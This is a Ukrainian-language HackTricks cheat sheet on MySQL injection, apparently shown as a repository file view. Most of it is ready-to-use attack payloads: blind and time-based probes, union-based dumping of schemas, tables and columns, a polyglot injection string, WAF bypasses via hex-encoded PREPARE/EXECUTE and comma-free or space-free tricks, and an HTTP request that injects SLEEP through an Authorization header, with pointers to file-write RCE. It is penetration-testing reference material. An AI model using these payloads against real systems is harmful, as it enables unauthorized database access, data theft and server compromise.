184 lines
9.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# MySQL injection
{{#include ../../../banners/hacktricks-training.md}}
## Коментарі
```sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## Цікаві функції
### Підтвердити Mysql:
```
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
```
### Корисні функції
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## Всі ін'єкції
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Flow
Пам'ятайте, що в "сучасних" версіях **MySQL** ви можете замінити "_**information_schema.tables**_" на "_**mysql.innodb_table_stats**_**"** (Це може бути корисно для обходу WAF).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **Тільки 1 значення**
- `group_concat()`
- `Limit X,1`
### **Сліпий один за одним**
- `substr(version(),X,1)='r'` або `substring(version(),X,1)=0x70` або `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **Сліпий додаванням**
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Визначити кількість стовпців
Використовуючи простий ORDER
```
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL на основі Union
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Дізнайтеся тут різні варіанти, щоб** [**зловживати Mysql injection для отримання SSRF**](mysql-ssrf.md)**.**
## WAF обходи
### Виконання запитів через підготовлені оператори
Коли дозволені вкладені запити, може бути можливим обійти WAF, призначивши змінній шістнадцяткове представлення запиту, який ви хочете виконати (використовуючи SET), а потім використати оператори PREPARE та EXECUTE MySQL для остаточного виконання запиту. Щось на зразок цього:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
Для отримання додаткової інформації, будь ласка, зверніться до [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
### Альтернативи information_schema
Пам'ятайте, що в "сучасних" версіях **MySQL** ви можете замінити _**information_schema.tables**_ на _**mysql.innodb_table_stats**_ або на _**sys.x$schema_flattened_keys**_ або на **sys.schema_table_statistics**.
### MySQLinjection без КОМ
Виберіть 2 стовпці без використання коми ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### Отримання значень без назви стовпця
Якщо в якийсь момент ви знаєте назву таблиці, але не знаєте назви стовпців у таблиці, ви можете спробувати дізнатися, скільки стовпців там, виконавши щось на зразок:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Припустимо, що є 2 стовпці (перший - це ID, а інший - прапор), ви можете спробувати брутфорсити вміст прапора, намагаючись символ за символом:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Більше інформації в [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### Ін'єкція без ПРОБІЛІВ (`/**/` трюк з коментарем)
Деякі програми очищають або обробляють введення користувача за допомогою функцій, таких як `sscanf("%128s", buf)`, які **зупиняються на першому символі пробілу**.
Оскільки MySQL розглядає послідовність `/**/` як коментар *і* як пробіл, її можна використовувати для повного видалення звичайних пробілів з корисного навантаження, зберігаючи при цьому синтаксичну правильність запиту.
Приклад ін'єкції на основі часу, що обходить фільтр пробілів:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
Який бази даних отримує як:
```sql
' OR SLEEP(5)-- -'
```
Це особливо корисно, коли:
* Контрольований буфер обмежений за розміром (наприклад, `%128s`) і пробіли можуть передчасно завершити введення.
* Впровадження через HTTP заголовки або інші поля, де звичайні пробіли видаляються або використовуються як роздільники.
* У поєднанні з `INTO OUTFILE` примітивами для досягнення повного RCE до автентифікації (див. розділ MySQL File RCE).
---
### Історія MySQL
Ви можете побачити інші виконання всередині MySQL, читаючи таблицю: **sys.x$statement_analysis**
### Альтернативи версії**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## Інші посібники з MYSQL ін'єкцій
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Посилання
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../../../banners/hacktricks-training.md}}